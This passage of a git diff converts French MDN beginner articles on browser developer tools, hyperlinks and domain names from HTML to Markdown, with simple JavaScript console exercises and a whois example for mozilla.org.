laquelle vous pourrez écrire une toute nouvelle déclaration. -<h3 id="En_savoir_plus">En savoir plus</h3> +Vous aurez remarqué plusieurs onglets en haut du panneau pour le CSS : -<p>Pour en apprendre plus sur l'inspecteur présent dans les différents navigateurs, les ressources suivantes pourront vous être particulièrement utiles :</p> +- _Calculé_ : cet onglet affiche les styles calculés pour l'élément sélectionné (les valeurs finales, normalisées, appliquées par le navigateur). +- _Modèle de boîte_ : cet onglet représente visuellement le modèle de boîte pour l'élément sélectionner afin de visualiser rapidement le _padding_ (rembourrage), la bordure et la marge appliquée à l'élément. Il permet aussi de voir la taille du contenu. +- _Polices_ : Dans Firefox, cet onglet affiche les polices appliquées à l'élément sélectionné. -<ul> - <li><a href="/fr/docs/Outils/Inspecteur">L'inspecteur Firefox</a></li> - <li><a href="https://msdn.microsoft.com/library/dn255008%28v=vs.85%29.aspx">L'explorateur de DOM d'Internet Explorer</a></li> - <li><a href="https://developer.chrome.com/devtools/docs/dom-and-styles">L'inspecteur de DOM Chrome</a> (l'inspecteur d'Opera fonctionne de la même façon)</li> - <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/ResourcesandtheDOM/ResourcesandtheDOM.html#//apple_ref/doc/uid/TP40007874-CH3-SW1">L'inspecteur de DOM et l'explorateur de styles Safari</a></li> -</ul> +### En savoir plus -<h2 id="La_console_JavaScript">La console JavaScript</h2> +Pour en apprendre plus sur l'inspecteur présent dans les différents navigateurs, les ressources suivantes pourront vous être particulièrement utiles : -<p>La console JavaScript est un outil formidable pour déboguer du code JavaScript qui ne fonctionne pas comme on le souhaite. Elle permet d'exécuter des lignes de JavaScript sur la page qui est actuellement chargée dans le navigateur et de rapporter les erreurs rencontrées lorsque le navigateur souhaite exécuter le code. Pour accéder à la console dans n'importe quel navigateur, il suffit de cliquer/appuyer sur l'onglet Console (sous Internet Explorer, appuyez sur <em>Ctrl + 2</em>.) Cela affichera une fenêtre qui ressemblera à :</p> +- [L'inspecteur Firefox](/fr/docs/Outils/Inspecteur) +- [L'explorateur de DOM d'Internet Explorer](https://msdn.microsoft.com/library/dn255008%28v=vs.85%29.aspx) +- [L'inspecteur de DOM Chrome](https://developer.chrome.com/devtools/docs/dom-and-styles) (l'inspecteur d'Opera fonctionne de la même façon) +- [L'inspecteur de DOM et l'explorateur de styles Safari](https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/ResourcesandtheDOM/ResourcesandtheDOM.html#//apple_ref/doc/uid/TP40007874-CH3-SW1) -<p><img alt="Console JavaScript" src="console.png"></p> +## La console JavaScript -<p>Pour voir comment la console se comporte, essayez de saisir les fragments de code suivants dans la console (un par un), en appuyant sur Entrée après chaque :</p> +La console JavaScript est un outil formidable pour déboguer du code JavaScript qui ne fonctionne pas comme on le souhaite. Elle permet d'exécuter des lignes de JavaScript sur la page qui est actuellement chargée dans le navigateur et de rapporter les erreurs rencontrées lorsque le navigateur souhaite exécuter le code. Pour accéder à la console dans n'importe quel navigateur, il suffit de cliquer/appuyer sur l'onglet Console (sous Internet Explorer, appuyez sur _Ctrl + 2_.) Cela affichera une fenêtre qui ressemblera à : -<ol> - <li> - <pre class="brush: js">alert('Coucou !');</pre> - </li> - <li> - <pre class="brush: js">document.querySelector('html').style.backgroundColor = 'purple';</pre> - </li> - <li> - <pre class="brush: js">var monImage = document.createElement('img'); -monImage.setAttribute('src','https://c1.staticflickr.com/1/572/20463320350_58483f6bed.jpg'); -document.querySelector('h1').appendChild(monImage);</pre> - </li> -</ol> + -<p>Maintenant, essayez de saisir les fragments de code suivants, qui sont incorrects, pour voir ce qui se passe :</p> +Pour voir comment la console se comporte, essayez de saisir les fragments de code suivants dans la console (un par un), en appuyant sur Entrée après chaque : -<ol> - <li> - <pre class="brush: js">alert('coucou !);</pre> - </li> - <li> - <pre class="brush: js">document.cheeseSelector('html').style.backgroundColor = 'purple';</pre> - </li> - <li> - <pre class="brush: js">var monImage = document.createElement('img'); -maBanane.setAttribute('src','https://c1.staticflickr.com/1/572/20463320350_58483f6bed.jpg'); -document.querySelector('h1').appendChild(monImage);</pre> - </li> -</ol> +1. ```js + alert('Coucou !'); + ``` +2. ```js + document.querySelector('html').style.backgroundColor = 'purple'; + ``` +3. ```js + var monImage = document.createElement('img'); + monImage.setAttribute('src','https://c1.staticflickr.com/1/572/20463320350_58483f6bed.jpg'); + document.querySelector('h1').appendChild(monImage); + ``` -<p>Vous devriez voir différentes erreurs fournies par le navigateur. À première vue, ces erreurs semblent un peu étranges et complexes mais elles devraient être simples à résoudre !</p> +Maintenant, essayez de saisir les fragments de code suivants, qui sont incorrects, pour voir ce qui se passe : -<h3 id="En_savoir_plus_2">En savoir plus</h3> +1. ```js + alert('coucou !); + ``` +2. ```js + document.cheeseSelector('html').style.backgroundColor = 'purple'; + ``` +3. ```js + var monImage = document.createElement('img'); + maBanane.setAttribute('src','https://c1.staticflickr.com/1/572/20463320350_58483f6bed.jpg'); + document.querySelector('h1').appendChild(monImage); + ``` -<p>Pour en apprendre plus sur la console JavaScript présente dans les différents navigateurs, les ressources listées ici devraient vous être utiles :</p> +Vous devriez voir différentes erreurs fournies par le navigateur. À première vue, ces erreurs semblent un peu étranges et complexes mais elles devraient être simples à résoudre ! -<ul> - <li><a href="/fr/docs/Outils/Console_Web">La console web de Firefox</a></li> - <li><a href="https://msdn.microsoft.com/library/dn255006%28v=vs.85%29.aspx">La console JavaScript d'Internet Explorer</a></li> - <li><a href="https://developer.chrome.com/devtools/docs/console">La console JavaScript de Chrome</a> (la console pour Opera fonctionnera de la même façon)</li> - <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html#//apple_ref/doc/uid/TP40007874-CH6-SW1">La console de Safari</a></li> -</ul> +### En savoir plus + +Pour en apprendre plus sur la console JavaScript présente dans les différents navigateurs, les ressources listées ici devraient vous être utiles : + +- [La console web de Firefox](/fr/docs/Outils/Console_Web) +- [La console JavaScript d'Internet Explorer](https://msdn.microsoft.com/library/dn255006%28v=vs.85%29.aspx) +- [La console JavaScript de Chrome](https://developer.chrome.com/devtools/docs/console) (la console pour Opera fonctionnera de la même façon) +- [La console de Safari](https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html#//apple_ref/doc/uid/TP40007874-CH6-SW1) diff --git a/files/fr/learn/common_questions/what_are_hyperlinks/index.md b/files/fr/learn/common_questions/what_are_hyperlinks/index.md index 584fc6b805..a6b9fa4315 100644 --- a/files/fr/learn/common_questions/what_are_hyperlinks/index.md +++ b/files/fr/learn/common_questions/what_are_hyperlinks/index.md @@ -9,87 +9,92 @@ tags: translation_of: Learn/Common_questions/What_are_hyperlinks original_slug: Apprendre/Le_fonctionnement_des_liens_sur_le_Web --- -<p>Dans cet article, nous verrons ce que sont les liens et en quoi ils sont importants pour la structure du Web.</p> +Dans cet article, nous verrons ce que sont les liens et en quoi ils sont importants pour la structure du Web. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vous devriez, au préalable, comprendre <a href="/fr/Learn/How_the_Internet_works">comment Internet fonctionne</a> et distinguer<a href="/fr/Apprendre/page_vs_site_vs_serveur_vs_moteur_recherche"> une page web, un site web, un serveur web et un moteur de recherche</a>.</td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Apprendre ce que sont les liens hypertexte et comprendre leur importance.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vous devriez, au préalable, comprendre + <a href="/fr/Learn/How_the_Internet_works" + >comment Internet fonctionne</a + > + et distinguer<a + href="/fr/Apprendre/page_vs_site_vs_serveur_vs_moteur_recherche" + > + une page web, un site web, un serveur web et un moteur de recherche</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Apprendre ce que sont les liens hypertexte et comprendre leur + importance. + </td> + </tr> + </tbody> </table> -<p>Les hyperliens (fréquemment appelés « liens ») sont un concept fondamental du Web. Pour mieux expliquer ce que sont les liens, il nous faut remonter aux fondations de l'architecture du Web, en 1989, lorsque Tim Berners-Lee présenta les trois piliers du Web (qu'il a inventé en grande partie) :</p> +Les hyperliens (fréquemment appelés « liens ») sont un concept fondamental du Web. Pour mieux expliquer ce que sont les liens, il nous faut remonter aux fondations de l'architecture du Web, en 1989, lorsque Tim Berners-Lee présenta les trois piliers du Web (qu'il a inventé en grande partie) : -<ol> - <li>Les {{Glossary("URL")}} : un système d'adresses pour repérer les documents web</li> - <li>{{Glossary("HTTP")}} : un protocole de transport permettant de trouver les documents en fonction de leur URL</li> - <li>{{Glossary("HTML")}} : un format de document qui permet d'intégrer des <em>hyperliens</em> (<em>hyperlink</em> est le terme anglais)</li> -</ol> +1. Les {{Glossary("URL")}} : un système d'adresses pour repérer les documents web +2. {{Glossary("HTTP")}} : un protocole de transport permettant de trouver les documents en fonction de leur URL +3. {{Glossary("HTML")}} : un format de document qui permet d'intégrer des _hyperliens_ (_hyperlink_ est le terme anglais) -<p>Comme on peut le voir avec ces trois piliers, tout ce qui tourne autour du Web consiste en des documents et à la façon d'y accéder. Le but originel du Web était de fournir un moyen simple et efficace pour lire et naviguer entre différents documents textuels. Depuis, le Web a évolué et permet désormais d'accéder à des images, des vidéos, des données binaires. Toutefois, ces améliorations n'ont pas bouleversé ces trois piliers qui restent toujours d'actualité.</p> +Comme on peut le voir avec ces trois piliers, tout ce qui tourne autour du Web consiste en des documents et à la façon d'y accéder. Le but originel du Web était de fournir un moyen simple et efficace pour lire et naviguer entre différents documents textuels. Depuis, le Web a évolué et permet désormais d'accéder à des images, des vidéos, des données binaires. Toutefois, ces améliorations n'ont pas bouleversé ces trois piliers qui restent toujours d'actualité. -<p>Avant l'existence du Web, il était assez difficile d'accéder à des documents et de naviguer entre eux. Le fait que les URL soient lisibles et compréhensibles aida à simplifier cette navigation. Malgré tout, saisir une URL longue relève parfois du défi si on doit le faire à chaque fois qu'on souhaite accéder à un document. C'est là que les hyperliens interviennent et révolutionnent l'accès et la navigation. Les liens permettent de faire correspondre n'importe quelle chaîne de caractère avec une URL donnée : l'utilisateur n'a plus qu'à cliquer sur le texte qui contient le lien pour activer ce dernier et se rendre sur le document ciblé.</p> +Avant l'existence du Web, il était assez difficile d'accéder à des documents et de naviguer entre eux. Le fait que les URL soient lisibles et compréhensibles aida à simplifier cette navigation. Malgré tout, saisir une URL longue relève parfois du défi si on doit le faire à chaque fois qu'on souhaite accéder à un document. C'est là que les hyperliens interviennent et révolutionnent l'accès et la navigation. Les liens permettent de faire correspondre n'importe quelle chaîne de caractère avec une URL donnée : l'utilisateur n'a plus qu'à cliquer sur le texte qui contient le lien pour activer ce dernier et se rendre sur le document ciblé. -<p>Par défaut, les liens apparaissent en bleu et en souligné. Cela permet de faire ressortir le lien du texte environnant. Pour activer le lien, il suffit de cliquer dessus ou de le toucher. Si vous utilisez un clavier, utilisez la touche tabulation jusqu'à ce que le lien soit sélectionné puis appuyez sur la touche Entrée.</p> +Par défaut, les liens apparaissent en bleu et en souligné. Cela permet de faire ressortir le lien du texte environnant. Pour activer le lien, il suffit de cliquer dessus ou de le toucher. Si vous utilisez un clavier, utilisez la touche tabulation jusqu'à ce que le lien soit sélectionné puis appuyez sur la touche Entrée. -<p><img alt="Example of a basic display and effect of a link in a web page" src="link-1.png"></p> + -<p>Les liens sont la clef de voute du Web, ils ont pu le rendre utile et prospère. Dans la suite de cet article, nous discutons des différents types de lien et de leur importance en conception web.</p> +Les liens sont la clef de voute du Web, ils ont pu le rendre utile et prospère. Dans la suite de cet article, nous discutons des différents types de lien et de leur importance en conception web. -<h2 id="Pédagogie_active">Pédagogie active</h2> +## Pédagogie active -<p><em>Cette section a besoin d'être enrichie, <a href="/fr/docs/MDN/Getting_started">n'hésitez pas à contribuer !</a></em></p> +_Cette section a besoin d'être enrichie, [n'hésitez pas à contribuer !](/fr/docs/MDN/Getting_started)_ -<h2 id="Aller_plus_loin">Aller plus loin</h2> +## Aller plus loin -<p>Comme nous l'avons déjà mentionné, un lien est une chaîne de texte liée à une URL et nous utilisons les liens pour passer d'un document à un autre. Cela dit, il existe quelques nuances qu'il faut préciser :</p> +Comme nous l'avons déjà mentionné, un lien est une chaîne de texte liée à une URL et nous utilisons les liens pour passer d'un document à un autre. Cela dit, il existe quelques nuances qu'il faut préciser : -<h3 id="Les_types_de_lien">Les types de lien</h3> +### Les types de lien -<dl> - <dt>Les liens internes</dt> - <dd>Les liens internes sont des liens qui dirigent vers des pages qui appartiennent à votre site web. Sans lien interne, il n'existerait pas de site web autre que les sites qui tiennent sur une page.</dd> - <dt>Les liens sortants</dt> - <dd>Il s'agit des liens de votre page web qui pointent vers la page d'un autre site web. Sans lien externe, il n'existerait pas de Web car le Web est un réseau de pages web. Les liens externes peuvent être utilisés pour fournir des informations sur des contenus que vous ne maintenez pas vous-même.</dd> - <dt>Les liens entrants</dt> - <dd>Il s'agit des liens d'une autre page web qui pointent vers une de vos pages web. C'est le symétrique du lien externe. On notera qu'il n'est pas nécessaire d'ajouter un lien externe à chaque fois qu'on a un lien entrant vers son propre site.</dd> -</dl> +- Les liens internes + - : Les liens internes sont des liens qui dirigent vers des pages qui appartiennent à votre site web. Sans lien interne, il n'existerait pas de site web autre que les sites qui tiennent sur une page. +- Les liens sortants + - : Il s'agit des liens de votre page web qui pointent vers la page d'un autre site web. Sans lien externe, il n'existerait pas de Web car le Web est un réseau de pages web. Les liens externes peuvent être utilisés pour fournir des informations sur des contenus que vous ne maintenez pas vous-même. +- Les liens entrants + - : Il s'agit des liens d'une autre page web qui pointent vers une de vos pages web. C'est le symétrique du lien externe. On notera qu'il n'est pas nécessaire d'ajouter un lien externe à chaque fois qu'on a un lien entrant vers son propre site. -<p>Lorsqu'on construit un site web, il est nécessaire de se concentrer sur les liens internes car ceux-ci rendent le site utilisable dans son ensemble. Il faudra trouver un équilibre entre trop de liens et pas assez. Nous en parlerons plus en détails mais, en règle générale, quand vous ajoutez une nouvelle page, assurez-vous qu'au moins une autre page pointe, via un lien, vers cette nouvelle page. En revanche, si votre site possède plus d'une dizaine de pages, il serait contre-productif que d'avoir des liens sur chaque page vers chaque page.</p> +Lorsqu'on construit un site web, il est nécessaire de se concentrer sur les liens internes car ceux-ci rendent le site utilisable dans son ensemble. Il faudra trouver un équilibre entre trop de liens et pas assez. Nous en parlerons plus en détails mais, en règle générale, quand vous ajoutez une nouvelle page, assurez-vous qu'au moins une autre page pointe, via un lien, vers cette nouvelle page. En revanche, si votre site possède plus d'une dizaine de pages, il serait contre-productif que d'avoir des liens sur chaque page vers chaque page. -<p>Au démarrage, il n'est pas nécessaire de se soucier des liens sortants et entrants. Toutefois, sachez qu'ils sont importants pour les moteurs de recherche afin que ceux-ci puissent trouver votre site web (voir ci-après pour plus d'informations).</p> +Au démarrage, il n'est pas nécessaire de se soucier des liens sortants et entrants. Toutefois, sachez qu'ils sont importants pour les moteurs de recherche afin que ceux-ci puissent trouver votre site web (voir ci-après pour plus d'informations). -<h3 id="Les_ancres">Les ancres</h3> +### Les ancres -<p>La plupart des liens lient deux pages différentes. <strong>Les ancres</strong> permettent d'accéder à une autre section du même document. Lorsque vous suivez un lien qui pointe vers une ancre, votre navigateur se déplace sur une autre partie du document courant plutôt que d'en charger un nouveau. Les ancres seront créées et utilisées de la même façon que les liens.</p> +La plupart des liens lient deux pages différentes. **Les ancres** permettent d'accéder à une autre section du même document. Lorsque vous suivez un lien qui pointe vers une ancre, votre navigateur se déplace sur une autre partie du document courant plutôt que d'en charger un nouveau. Les ancres seront créées et utilisées de la même façon que les liens. -<p><img alt="Example of a basic display and effect of an anchor in a web page" src="link-2.png"></p> + -<h3 id="Les_liens_et_les_moteurs_de_recherche">Les liens et les moteurs de recherche</h3> +### Les liens et les moteurs de recherche -<p>Les liens sont utiles pour vos visiteurs mais aussi pour les moteurs de recherche. En effet, à chaque fois qu'un robot d'un moteur de recherche parcoure la page, il indexe le site web en suivant les liens offerts dans la page. Les moteurs de recherche utiliseront ces liens pour découvrir les différentes pages d'un site web mais aussi pour déterminer quelle page serait la mieux adaptée en fonction de la requête reçu par le moteur de recherche.</p> +Les liens sont utiles pour vos visiteurs mais aussi pour les moteurs de recherche. En effet, à chaque fois qu'un robot d'un moteur de recherche parcoure la page, il indexe le site web en suivant les liens offerts dans la page. Les moteurs de recherche utiliseront ces liens pour découvrir les différentes pages d'un site web mais aussi pour déterminer quelle page serait la mieux adaptée en fonction de la requête reçu par le moteur de recherche. -<p>Les liens ont donc une influence sur la façon dont les moteurs de recherche vont rediriger vers votre site. Il est plutôt difficile de mesurer l'activité des moteurs de recherche et les entreprises et/ou créateurs de sites préfèrent être classés dans les premières pages. Depuis les débuts des moteurs de recherches et quelques études, on sait que :</p> +Les liens ont donc une influence sur la façon dont les moteurs de recherche vont rediriger vers votre site. Il est plutôt difficile de mesurer l'activité des moteurs de recherche et les entreprises et/ou créateurs de sites préfèrent être classés dans les premières pages. Depuis les débuts des moteurs de recherches et quelques études, on sait que : -<ul> - <li>Le <em>texte visible</em> d'un lien influence les sites qui seront trouvés pour une recherche donnée</li> - <li>Plus la page possède de <em>liens entrants</em>, plus son rang dans le classement sera élevé (et plus elle apparaîtra en haut des résultats).</li> - <li><em>Les liens externes</em> influencent également le classement du site source et du site lié.</li> -</ul> +- Le _texte visible_ d'un lien influence les sites qui seront trouvés pour une recherche donnée +- Plus la page possède de _liens entrants_, plus son rang dans le classement sera élevé (et plus elle apparaîtra en haut des résultats). +- _Les liens externes_ influencent également le classement du site source et du site lié. -<p><a href="https://fr.wikipedia.org/wiki/Optimisation_pour_les_moteurs_de_recherche">Le SEO</a> (pour <em>Search Engine Optimization</em> ou optimisation pour les moteurs de recherches) ou encore l'optimisation du référencement est l'étude des facteurs de classement d'un site dans les résultats d'un moteur de recherche. Améliorer les liens d'un site est l'une des technique de SEO.</p> +[Le SEO](https://fr.wikipedia.org/wiki/Optimisation_pour_les_moteurs_de_recherche) (pour _Search Engine Optimization_ ou optimisation pour les moteurs de recherches) ou encore l'optimisation du référencement est l'étude des facteurs de classement d'un site dans les résultats d'un moteur de recherche. Améliorer les liens d'un site est l'une des technique de SEO. -<h2 id="Prochaines_étapes">Prochaines étapes</h2> +## Prochaines étapes -<p>Bien entendu, après avoir lu cet article, vous voudrez ajouter des liens à votre page web !</p> +Bien entendu, après avoir lu cet article, vous voudrez ajouter des liens à votre page web ! -<ul> - <li>Pour connaître le fonctionnement théorique, vous pouvez lire <a href="/fr/Apprendre/Understanding_URLs">les URL et leur structure</a> car, pour être précis, chaque hyperlien pointe vers une URL donnée.</li> - <li>Pour plonger dans la pratique, vous pouvez développer un peu de HTML. Apprenez comment <a href="/fr/Apprendre/HTML/Write_a_simple_page_in_HTML">écrire des documents HTML et les lier les uns aux autres.</a></li> -</ul> +- Pour connaître le fonctionnement théorique, vous pouvez lire [les URL et leur structure](/fr/Apprendre/Understanding_URLs) car, pour être précis, chaque hyperlien pointe vers une URL donnée. +- Pour plonger dans la pratique, vous pouvez développer un peu de HTML. Apprenez comment [écrire des documents HTML et les lier les uns aux autres.](/fr/Apprendre/HTML/Write_a_simple_page_in_HTML) diff --git a/files/fr/learn/common_questions/what_is_a_domain_name/index.md b/files/fr/learn/common_questions/what_is_a_domain_name/index.md index 16bfb9f969..ad0ba70576 100644 --- a/files/fr/learn/common_questions/what_is_a_domain_name/index.md +++ b/files/fr/learn/common_questions/what_is_a_domain_name/index.md @@ -10,152 +10,142 @@ tags: translation_of: Learn/Common_questions/What_is_a_domain_name original_slug: Apprendre/Comprendre_noms_de_domaine --- -<p>Dans cet article, nous discutons des noms de domaine : ce qu'ils sont, comment ils sont organisés et comment en avoir un.</p> +Dans cet article, nous discutons des noms de domaine : ce qu'ils sont, comment ils sont organisés et comment en avoir un. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Pour commencer, vous devez comprendre <a href="/fr/Apprendre/Fonctionnement_Internet">comment Internet fonctionne</a> et ce que sont les <a href="/fr/Learn/Understanding_URLs">URL</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Apprendre ce qu'est un nom de domaine, son fonctionnement et son importance.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Pour commencer, vous devez comprendre + <a href="/fr/Apprendre/Fonctionnement_Internet" + >comment Internet fonctionne</a + > + et ce que sont les <a href="/fr/Learn/Understanding_URLs">URL</a>. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Apprendre ce qu'est un nom de domaine, son fonctionnement et son + importance. + </td> + </tr> + </tbody> </table> -<p>Les noms de domaine jouent un rôle clé dans l'infrastructure d'Internet. Ils fournissent des adresses, humainement compréhensibles pour retrouver des serveurs web connectés sur Internet.</p> +Les noms de domaine jouent un rôle clé dans l'infrastructure d'Internet. Ils fournissent des adresses, humainement compréhensibles pour retrouver des serveurs web connectés sur Internet. -<p>Tout ordinateur relié à Internet peut être contacté via une adresse {{Glossary("IP")}} publique. En IPv4, cette adresse est constituée de 32 bits, souvent exprimés avec quatre groupes de chiffes, compris entre 0 et 225, séparés par des points (par exemple <code>173.194.121.32</code>). Avec IPv6, on a 128 bits, soit huit groupes de quatre chiffres hexadécimaux séparés par deux points (par exemple <code>2001:0db8:85a3:0042:1000:8a2e:0370:7334</code>). Les ordinateurs n'ont aucun problème pour mémoriser ces adresses mais ça peut être difficile pour quelqu'un de faire le rapprochement entre un site web/service et cette adresse. De plus, le site peut « déménager » sur un autre ordinateur, l'ordinateur peut changer d'adresse... Dans ces cas, l'adresse correspondante à un site sera modifiée au cours du temps : il faudra alors utiliser la nouvelle adresse pour l'atteindre. Afin de résoudre ces problèmes (mémorisation et stabilité), on utilise des adresses compréhensibles appelée noms de domaine.</p> +Tout ordinateur relié à Internet peut être contacté via une adresse {{Glossary("IP")}} publique. En IPv4, cette adresse est constituée de 32 bits, souvent exprimés avec quatre groupes de chiffes, compris entre 0 et 225, séparés par des points (par exemple `173.194.121.32`). Avec IPv6, on a 128 bits, soit huit groupes de quatre chiffres hexadécimaux séparés par deux points (par exemple `2001:0db8:85a3:0042:1000:8a2e:0370:7334`). Les ordinateurs n'ont aucun problème pour mémoriser ces adresses mais ça peut être difficile pour quelqu'un de faire le rapprochement entre un site web/service et cette adresse. De plus, le site peut « déménager » sur un autre ordinateur, l'ordinateur peut changer d'adresse... Dans ces cas, l'adresse correspondante à un site sera modifiée au cours du temps : il faudra alors utiliser la nouvelle adresse pour l'atteindre. Afin de résoudre ces problèmes (mémorisation et stabilité), on utilise des adresses compréhensibles appelée noms de domaine. -<h2 id="Pédagogie_active">Pédagogie active</h2> +## Pédagogie active -<p><em>Ce contenu a besoin d'être enrichi, <a href="/fr/docs/MDN/Getting_started">n'hésitez pas à contribuer !</a></em></p> +_Ce contenu a besoin d'être enrichi, [n'hésitez pas à contribuer !](/fr/docs/MDN/Getting_started)_ -<ul> - <li><a href="http://www.afnic.fr/fr/votre-nom-de-domaine/qu-est-ce-qu-un-nom-de-domaine/">Qu'est-ce qu'un nom de domaine</a> sur le site de l'AFNIC</li> - <li><a href="https://www.youtube.com/watch?v=QHVK666TFUI">Le DNS</a>, présentation de Stéphane Bortzmeyer réalisée dans le cadre de « Il était une fois Internet » (CC BY-SA)</li> -</ul> +- [Qu'est-ce qu'un nom de domaine](http://www.afnic.fr/fr/votre-nom-de-domaine/qu-est-ce-qu-un-nom-de-domaine/) sur le site de l'AFNIC +- [Le DNS](https://www.youtube.com/watch?v=QHVK666TFUI), présentation de Stéphane Bortzmeyer réalisée dans le cadre de « Il était une fois Internet » (CC BY-SA) -<h2 id="Allons_plus_loin">Allons plus loin</h2> +## Allons plus loin -<h3 id="La_structure_d'un_nom_de_domaine">La structure d'un nom de domaine</h3> +### La structure d'un nom de domaine -<p>Un nom de domaine est composé de plusieurs parties, séparées par des points. Ces différents composants sont lus <strong>de droite à gauche</strong> :</p> +Un nom de domaine est composé de plusieurs parties, séparées par des points. Ces différents composants sont lus **de droite à gauche** : -<p><img alt="Anatomy of the MDN domain name" src="structure_fr.png"></p> + -<p>Chacune de ces parties fournit des informations sur le nom de domaine dans son ensemble.</p> +Chacune de ces parties fournit des informations sur le nom de domaine dans son ensemble. -<dl> - <dt>{{Glossary("TLD")}} (<em>Top-Level Domain</em> en anglais qui signifie domaine de premier niveau)</dt> - <dd>Le TLD fournit une information générique purement indicative sur le service associé au nom de domaine. Certains TLD peuvent indiquer que le site ou service provient d'un pays donné (par exemple : .us, .fr ou .sh qui correspondent aux États-Unis, à la France et à Sainte-Hélène), d'autres TLD sont génériques (par exemple : .com, .org, .net).</dd> - <dt>Composant</dt> - <dd>Les composants sont les différents fragments d'un nom de domaine (le TLD est le premier composant). Un composant peut être une lettre ou une phrase entière (sans espace). Ce composant situé juste après le TLD est parfois appelé « domaine de deuxième niveau » (ou <em>Secondary Level Domain</em> (SLD) en anglais). Un nom de domaine peut avoir plusieurs composants. Il n'est pas nécessaire ni obligatoire qu'il ait trois composants. Par exemple, www.inf.ed.ac.uk est un nom de domaine tout à fait correct (il a 5 composants dont le TLD). Lorsqu'on possède la partie « supérieure » d'un nom de domaine (par exemple : <a href="https://mozilla.org">mozilla.org</a>), on peut créer d'autres noms de domaines sous celui-ci (par exemple : <a href="https://developer.mozilla.org">developer.mozilla.org</a>), ceux-ci sont parfois appelés « sous-domaines ».</dd> -</dl> +- {{Glossary("TLD")}} (_Top-Level Domain_ en anglais qui signifie domaine de premier niveau) + - : Le TLD fournit une information générique purement indicative sur le service associé au nom de domaine. Certains TLD peuvent indiquer que le site ou service provient d'un pays donné (par exemple : .us, .fr ou .sh qui correspondent aux États-Unis, à la France et à Sainte-Hélène), d'autres TLD sont génériques (par exemple : .com, .org, .net). +- Composant + - : Les composants sont les différents fragments d'un nom de domaine (le TLD est le premier composant). Un composant peut être une lettre ou une phrase entière (sans espace). Ce composant situé juste après le TLD est parfois appelé « domaine de deuxième niveau » (ou _Secondary Level Domain_ (SLD) en anglais). Un nom de domaine peut avoir plusieurs composants. Il n'est pas nécessaire ni obligatoire qu'il ait trois composants. Par exemple, www\.inf.ed.ac.uk est un nom de domaine tout à fait correct (il a 5 composants dont le TLD). Lorsqu'on possède la partie « supérieure » d'un nom de domaine (par exemple : [mozilla.org](https://mozilla.org)), on peut créer d'autres noms de domaines sous celui-ci (par exemple : [developer.mozilla.org](https://developer.mozilla.org)), ceux-ci sont parfois appelés « sous-domaines ». -<h3 id="Acheter_un_nom_de_domaine">Acheter un nom de domaine</h3> +### Acheter un nom de domaine -<h4 id="Qui_possède_un_nom_de_domaine">Qui possède un nom de domaine ?</h4> +#### Qui possède un nom de domaine ? -<p>Il est impossible d' « acheter » un nom de domaine. Vous payez pour le droit d'utiliser un nom de domaine pendant une période donnée (généralement un an ou plus). Il est possible de renouveller ce droit et ce renouvellement a la priorité sur les demandes d'autres personnes qui souhaiteraient bénéficier de ce nom de domaine.</p> +Il est impossible d' « acheter » un nom de domaine. Vous payez pour le droit d'utiliser un nom de domaine pendant une période donnée (généralement un an ou plus). Il est possible de renouveller ce droit et ce renouvellement a la priorité sur les demandes d'autres personnes qui souhaiteraient bénéficier de ce nom de domaine. -<p>Très souvent, ce sont des entreprises appelées bureaux d'enregistrement qui maintiennent les registres contenant les informations techniques et administratives qui vous lient à votre nom de domaine.</p> +Très souvent, ce sont des entreprises appelées bureaux d'enregistrement qui maintiennent les registres contenant les informations techniques et administratives qui vous lient à votre nom de domaine. -<div class="note"> -<p><strong>Note :</strong> Pour certains noms de domaines, ce n'est pas un bureau d'enregistrement qui gèrera les registres. Par exemple les noms de domaines sous .fire sont gérés par Amazon.</p> -</div> +> **Note :** Pour certains noms de domaines, ce n'est pas un bureau d'enregistrement qui gèrera les registres. Par exemple les noms de domaines sous .fire sont gérés par Amazon. -<h4 id="Trouver_un_nom_de_domaine_disponible">Trouver un nom de domaine disponible</h4> +#### Trouver un nom de domaine disponible -<p>Pour déterminer si un nom de domaine est disponible :</p> +Pour déterminer si un nom de domaine est disponible : -<ul> - <li>vous pouvez vous rendre sur le site d'un bureau d'enregistrement. La plupart fournissent un service « whois » (littéralement « qui est-ce ? » en anglais) qui indique si un nom de domaine est disponible.</li> - <li>si vous utilisez un système qui possède un outil en ligne de commande, vous pouvez y saisir la commande <code>whois</code>. Voici un exemple avec <code>mozilla.org</code>:</li> -</ul> +- vous pouvez vous rendre sur le site d'un bureau d'enregistrement. La plupart fournissent un service « whois » (littéralement « qui est-ce ? » en anglais) qui indique si un nom de domaine est disponible. +- si vous utilisez un système qui possède un outil en ligne de commande, vous pouvez y saisir la commande `whois`. Voici un exemple avec `mozilla.org`: -<pre>$ whois mozilla.org -Domain Name:MOZILLA.ORG -Domain ID: D1409563-LROR -Creation Date: 1998-01-24T05:00:00Z -Updated Date: 2013-12-08T01:16:57Z -Registry Expiry Date: 2015-01-23T05:00:00Z -Sponsoring Registrar:MarkMonitor Inc. (R37-LROR) -Sponsoring Registrar IANA ID: 292 -WHOIS Server: -Referral URL: -Domain Status: clientDeleteProhibited -Domain Status: clientTransferProhibited -Domain Status: clientUpdateProhibited -Registrant ID:mmr-33684 -Registrant Name:DNS Admin -Registrant Organization:Mozilla Foundation -Registrant Street: 650 Castro St Ste 300 -Registrant City:Mountain View -Registrant State/Province:CA -Registrant Postal Code:94041 -Registrant Country:US -Registrant Phone:+1.6509030800 -</pre> +<!----> -<p>Comme on peut le voir ici, on ne peut pas réserver <code>mozilla.org</code> car ce nom de domaine est déjà réservé par la Fondation Mozilla.</p> + $ whois mozilla.org + Domain Name:MOZILLA.ORG + Domain ID: 